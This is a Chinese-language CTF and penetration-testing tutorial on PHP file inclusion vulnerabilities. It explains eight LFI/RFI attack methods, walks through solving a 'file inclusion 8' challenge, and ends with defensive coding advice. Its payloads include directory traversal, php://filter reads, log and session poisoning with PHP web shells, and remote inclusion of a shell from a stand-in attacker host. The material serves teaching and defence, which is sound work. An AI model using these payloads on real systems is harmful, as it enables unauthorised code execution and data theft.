文件包含漏洞攻防:从LFI到RFI的八种渗透方法与防御实践
1. 项目概述:从一道CTF题看文件包含漏洞的攻防博弈
最近在带新人打CTF靶场,特别是PTE(Penetration Testing Engineer)方向的题目时,发现“文件包含”这个老生常谈的漏洞,依然是很多人的拦路虎。题目往往只给一个简单的入口点,比如一个带file参数的URL,但背后的利用手法却可以千变万化。我遇到过一个典型的场景,题目就叫“文件包含8”,暗示有八种不同的渗透方法。这不仅仅是一道题,更像是一个关于文件包含漏洞的“兵器谱”演练。对于Web安全初学者或是想巩固基础的从业者来说,彻底吃透这八种方法,就等于掌握了文件包含漏洞从基础到进阶的核心攻击面。这篇文章,我就结合自己多年渗透测试和CTF解题的经验,把这八种方法的原理、实操、绕过技巧和防御思路,掰开揉碎了讲清楚。无论你是正在备赛的CTF选手,还是希望深入理解漏洞原理的安全工程师,都能从这里获得可以直接“抄作业”的实战指南。
2. 文件包含漏洞核心原理与分类
在深入那八种方法之前,我们必须把地基打牢。文件包含漏洞,本质上是一种“信任滥用”。程序的本意是好的,它希望拥有一种灵活的机制,能够动态地将不同的代码文件(如头部、尾部、配置模块)引入到当前脚本中执行,从而提高代码的复用性。在PHP中,这通常通过include、require、include_once、require_once这类函数来实现。
漏洞的产生,就在于这个“动态引入”的路径参数,被我们用户所控制。想象一下,程序员写了一句include($_GET['page'] . '.php');,他的预期是用户会传入home、about这样的值,最终引入home.php文件。但如果这个$_GET['page']没有经过严格的过滤和校验,攻击者就可以传入诸如../../etc/passwd或http://evil.com/shell.txt这样的路径。这时,程序“信任”了用户的输入,去包含了一个非预期的文件,漏洞就产生了。
根据包含文件的位置,我们通常分为两类:
- 本地文件包含(LFI, Local File Inclusion):包含的是服务器本地的文件。这是最基础的形式,利用它可以读取服务器上的敏感文件,如配置文件、日志、源代码等。
- 远程文件包含(RFI, Remote File Inclusion):包含的是远程服务器(攻击者控制)上的文件。这通常需要
allow_url_include配置为On(默认是Off),利用条件更为苛刻,但危害也更大,因为它可以直接导致远程代码执行(RCE)。
而CTF题目中的“文件包含8”,就是围绕这两种基本类型,在各种限制条件下(比如有过滤、有后缀拼接、有目录限制)的八种典型突破姿势。理解原理后,我们再看这些姿势,就会清晰很多。
2.1 为什么文件包含危害巨大?
它往往是一个关键的“突破口”和“跳板”。单独一个LFI,可能只能读到一些信息。但在渗透测试的链条中,它至关重要:
- 信息收集:读取
/etc/passwd了解用户,读取\proc\self\environ获取环境变量(可能含密钥),读取Web应用配置文件(如config.php)获取数据库密码。 - 获取Shell的桥梁:通过包含日志文件(如
/var/log/apache2/access.log),并在User-Agent或请求参数中注入PHP代码,让日志文件变成“马”,进而执行。 - 配合其他漏洞:与上传漏洞结合,上传一个图片马,然后通过文件包含来执行图片中的代码。
- 直接RCE:在RFI条件下,直接包含远程的PHP Shell脚本。
所以,攻克文件包含,是Web渗透测试中不可或缺的一环。
3. 八种渗透方法深度拆解与实战
下面,我们进入核心部分。我将这八种方法归纳为三个层次:基础读取层、过滤绕过层和高级利用层。每种方法我都会说明其适用场景、核心原理、具体Payload,并附上我实战中踩过的坑和技巧。
3.1 基础读取层:利用绝对与相对路径
这是最直白的方法,用于简单的LFI场景。
方法一:绝对路径直接读取
- 场景:目标服务器路径已知或可猜测,且没有任何目录遍历过滤。
- Payload:
?file=/etc/passwd - 实操与解释:直接使用Linux/Windows系统的绝对路径。在CTF中,常见的flag可能就在根目录(
/flag)、家目录(/home/ctf/flag)或当前目录(./flag)。Windows下可能是C:\Windows\System32\drivers\etc\hosts。 - 心得:首先尝试这个。如果成功,说明漏洞非常“裸”。可以用它来读取Web服务器的配置文件(如
/etc/apache2/sites-available/000-default.conf),寻找其他虚拟主机或路径线索。
方法二:相对路径与目录遍历(../)
- 场景:程序设置了基础包含目录,但我们可以通过
../回溯到上级目录。 - Payload:
?file=../../../../etc/passwd - 实操与解释:这是LFI的经典姿势。
../代表上一级目录。你需要判断当前脚本所在位置,并估算到目标文件的层级。例如,如果脚本在/var/www/html/index.php,要读取/etc/passwd,可能需要../../../../etc/passwd(从html到www,到var,到根目录)。 - 踩坑记录:
- 编码绕过:如果程序过滤了
../,可以尝试URL编码、双重URL编码甚至Unicode编码。例如..%2f(/的URL编码)、..%252f(双重编码)、..%c0%af(某些Unicode绕过)。 - 绝对路径失效时:当程序使用
chdir或open_basedir限制了目录,相对路径遍历可能依然有效。
- 编码绕过:如果程序过滤了
注意:在Windows系统中,路径分隔符是
\,但多数情况下也可以使用/。目录遍历符是..\。有时也可以尝试....//或....\/这类变形来绕过简单的字符串过滤。
3.2 过滤绕过层:应对常见防御手段
CTF和真实环境中,开发者不会坐以待毙,他们会增加过滤。这时就需要一些技巧。
方法三:利用PHP封装协议(php://filter)
- 场景:这是最常用、最强大的LFI利用技术,即使不能直接执行代码,也能读取源代码。它通常不受
allow_url_include限制。 - 核心原理:
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。我们可以用它来对目标文件进行base64编码读取,从而绕过一些显示限制或获取文件源码。 - Payload(读取源码):
?file=php://filter/convert.base64-encode/resource=index.php - 实操与解释:这个Payload会让服务器先读取
index.php的内容,然后经过base64-encode过滤器处理,最后输出。前端看到一堆base64字符串,解码后就能得到index.php的完整源代码。这对于审计代码、寻找其他漏洞(如数据库连接密码、其他包含点)至关重要。 - 高级技巧:
- 多重过滤器:可以链式使用过滤器,如
php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php(双重编码,有时用于绕过某些过滤)。 - 写入文件:结合
php://input和POST数据,在某些配置下可以写入文件,但限制较多。
- 多重过滤器:可以链式使用过滤器,如
方法四:利用编码与截断技巧
- 场景:程序在包含路径后,会自动添加后缀(如
.php),或者对输入长度有限制。 - 核心原理:
- %00截断(空字节截断):在PHP版本 < 5.3.4,且
magic_quotes_gpc=Off时,%00(URL编码的空字符)会被认为是字符串结束符。例如?file=../../etc/passwd%00,即使后面被加上了.php,系统读到%00就停止,实际包含的还是/etc/passwd。 - 长路径截断:在Windows下,路径长度超过一定限制(如256字节)会被截断。可以构造
?file=../../etc/passwd/././././././././././././././././././././././././././././.(重复很多次)来使后缀.php被挤掉。
- %00截断(空字节截断):在PHP版本 < 5.3.4,且
- 实操心得:%00截断是经典老招,但现在遇到的PHP环境大多已修复。长路径截断主要在Windows特定场景下。在CTF中,如果题目提示了PHP版本较老,一定要优先尝试%00截断。
方法五:利用日志文件包含(Log Poisoning)
- 场景:无法直接RFI,也找不到其他可包含的用户文件,但可以读取服务器日志。
- 核心原理:Web服务器(如Apache, Nginx)的访问日志会记录每一个请求,包括请求头(User-Agent, Referer等)。如果我们能在User-Agent或请求参数中插入一段PHP代码(如
<?php system($_GET[‘c’]);?>),这段代码就会被原样写入日志文件。然后,我们利用LFI漏洞去包含这个日志文件,其中的PHP代码就会被执行。 - 步骤:
- 探测日志路径:先通过LFI读取已知配置文件,猜测日志路径。常见路径:
/var/log/apache2/access.log,/var/log/nginx/access.log,/var/log/httpd/access_log。 - 投毒:用Burp Suite或Curl发送一个请求,将恶意代码放在User-Agent里。
User-Agent: <?php system($_GET[‘cmd’]);?> - 包含执行:
?file=/var/log/apache2/access.log&cmd=id
- 探测日志路径:先通过LFI读取已知配置文件,猜测日志路径。常见路径:
- 踩坑记录:
- 日志文件可能很大,包含会导致超时或内存耗尽。可以尝试包含错误日志(
error.log),通常更小。 - 日志中的特殊字符(如
<,>,?,空格)可能会被转义或编码,导致代码无法正常解析。需要测试哪种注入位置(User-Agent, Referer, GET参数)最稳定。有时需要URL编码<?php为%3C%3Fphp。 - 确保Web进程对日志文件有读取权限。
- 日志文件可能很大,包含会导致超时或内存耗尽。可以尝试包含错误日志(
3.3 高级利用层:通向RCE与深度利用
这些方法往往能直接获取服务器权限或进行深度利用。
方法六:远程文件包含(RFI)
- 场景:
allow_url_include=On(可通过phpinfo()页面确认)。这是通向RCE最直接的路径。 - Payload:
?file=http://attacker.com/shell.txt - 实操与解释:在攻击者控制的服务器(
attacker.com)上,放置一个纯文本文件shell.txt,内容为<?php eval($_POST[‘a’]);?>。当目标服务器包含这个URL时,会下载该文件内容并将其作为PHP代码执行,攻击者便可以用中国菜刀/蚁剑等工具连接?file=http://attacker.com/shell.txt&a=system(‘id’);来执行命令。 - 关键点:
- 需要目标PHP配置允许包含HTTP/HTTPS URL。
- 远程文件的内容必须不能包含任何HTML或PHP标签之外的字符,否则可能导致执行失败。最好就是一个干净的PHP Shell。
- 如果目标服务器无法出网(无外网连接),则RFI失效。
方法七:利用PHP内置临时文件(php://input)
- 场景:
allow_url_include=On且allow_url_fopen=On,但无法进行RFI(例如服务器禁用了HTTP包装器)。 - 核心原理:
php://input是一个只读的数据流,可以访问请求的原始数据(即POST过来的数据)。我们可以通过POST请求,将PHP代码直接发送给这个流,然后包含它。 - Payload与步骤:
- 发送一个POST请求。
- 请求URL:
?file=php://input - 请求体(Body):
<?php system(‘whoami’);?>
- 实操心得:这个方法非常直接有效。在Burp Suite中操作极其方便。但同样受配置限制,且要求请求方式是POST。
方法八:利用Session文件包含
- 场景:非常隐蔽的一种方式,适用于可以控制部分Session内容且知道Session文件存储路径的情况。
- 核心原理:PHP会将Session数据存储在服务器的一个文件中(如
/tmp/sess_[sessionid])。如果我们可以向Session中写入数据(例如通过一个设置$_SESSION[‘name’]的页面),并且这个数据我们部分可控,那么我们就可以将恶意代码写入Session文件,然后通过LFI包含这个Session文件。 - 步骤:
- 获取Session ID:通过Cookie中的
PHPSESSID获取。 - 猜测Session路径:默认是
/tmp/sess_PHPSESSID。也可以通过phpinfo()中的session.save_path查看。 - 污染Session:找到一个能设置Session变量的功能点,比如用户昵称、邮箱。将昵称设置为
<?php system($_GET[‘c’]);?>。 - 包含Session文件:
?file=/tmp/sess_abc123def456(其中abc123def456是你的PHPSESSID)。
- 获取Session ID:通过Cookie中的
- 难点与技巧:
- 需要有一个能写入Session的地方,并且写入的内容会原样保存(不过滤
< > ?)。 - Session文件的内容格式通常是
变量名|序列化值。我们的恶意代码需要能够被正确解析。有时需要闭合前后的序列化字符串,比较复杂。 - 这是一种“旁路”攻击,在CTF中常与其他漏洞(如反序列化)结合出现。
- 需要有一个能写入Session的地方,并且写入的内容会原样保存(不过滤
4. 实战融合:CTF-PTE文件包含8解题思路推演
假设我们拿到一个名为“文件包含8”的题目,入口是http://target/vuln.php?file=hello。页面回显了“Hello”字样,可能引入了hello.php。
我们的系统化攻击流程如下:
信息收集:
- 访问
vuln.php?file=php://filter/convert.base64-encode/resource=vuln.php,获取漏洞点源代码,分析过滤逻辑。 - 访问
phpinfo.php(如果存在),查看allow_url_include,allow_url_fopen,open_basedir,session.save_path等关键配置。 - 尝试读取
/etc/passwd、/proc/self/environ(环境变量,可能包含路径信息)、Web服务器配置文件。
- 访问
基础探测:
?file=../../../../etc/passwd(目录遍历)?file=/etc/passwd(绝对路径)- 观察是否有后缀追加,如访问
?file=test是否返回test.php的内容。如果是,考虑截断。
过滤测试:
- 如果发现过滤了
../,尝试..%2f、..%252f、....//。 - 如果过滤了
php://,尝试大小写混写PHP://或Php://(某些简单过滤不区分大小写)。 - 如果过滤了
http://,尝试HTTP://、HtTp://或者使用其他协议如ftp://、expect://(需扩展支持)。
- 如果发现过滤了
进阶利用:
- 如果可RFI:立刻准备一个远程Shell脚本,尝试包含。
- 如果可读日志:尝试包含
/var/log/apache2/access.log,并在User-Agent中投毒。 - 如果可控制Session:寻找用户可控点(如更新资料),污染Session后包含。
- 如果存在上传点:上传一个图片马(内容为
<?php eval($_POST[‘a’]);?>),然后通过文件包含漏洞执行这个图片文件。
获取Flag:
- 通过上述任意一种方法获取RCE权限后,使用命令查找flag。常见命令:
find / -name “*flag*” 2>/dev/nullfind / -type f -exec grep -l “flag{“ {} \; 2>/dev/nullcat /flagcat /home/ctf/flagcat /flag.txt
- 通过上述任意一种方法获取RCE权限后,使用命令查找flag。常见命令:
5. 防御视角:如何避免文件包含漏洞
作为开发者,理解攻击手法是为了更好地防御。以下是一些核心原则:
白名单校验:这是最有效的方法。不要使用用户输入直接作为包含路径。应该维护一个允许包含的文件名白名单(如
[‘home.php’, ‘about.php’, ‘contact.php’]),用户传入的参数只作为索引或映射值。$allowed_pages = [‘home’ => ‘home.php’, ‘about’ => ‘about.php’]; $page = $_GET[‘page’]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(‘default.php’); }固定目录+后缀:如果必须动态包含,应将文件限制在某个特定目录下,并强制添加后缀。
$base_dir = ‘/var/www/html/includes/’; $file = basename($_GET[‘file’]); // 使用 basename 去除路径 include($base_dir . $file . ‘.php’);禁用危险配置:在
php.ini中,确保:allow_url_fopen = Offallow_url_include = Off- 设置
open_basedir将PHP可操作的文件限制在Web目录所需的最小范围内。
过滤输入:虽然不如白名单可靠,但仍需进行。过滤
../、..\、php://、http://等危险字符串。注意使用递归过滤或正则表达式确保彻底。使用安全的函数:考虑使用
file_get_contents()读取非PHP文件内容进行显示,而不是include。或者使用模板引擎。
文件包含漏洞的攻防是一场关于“信任”和“控制”的博弈。对于攻击者,目标是不断扩大可控输入的影响范围;对于防御者,目标是将其牢牢锁死在预期的牢笼里。掌握这八种方法,不仅仅是记住了八个Payload,更是理解了在不同限制条件下,如何灵活运用系统特性、协议和程序逻辑来达成目标。在真实的渗透测试或CTF比赛中,往往需要将多种方法组合、串联,并辅以耐心的信息收集和不断的测试尝试。希望这篇近万字的拆解,能成为你武器库中一件称手的兵器。最后记住,在合法授权的范围内进行所有测试,并将这些知识用于加固系统,而非破坏。
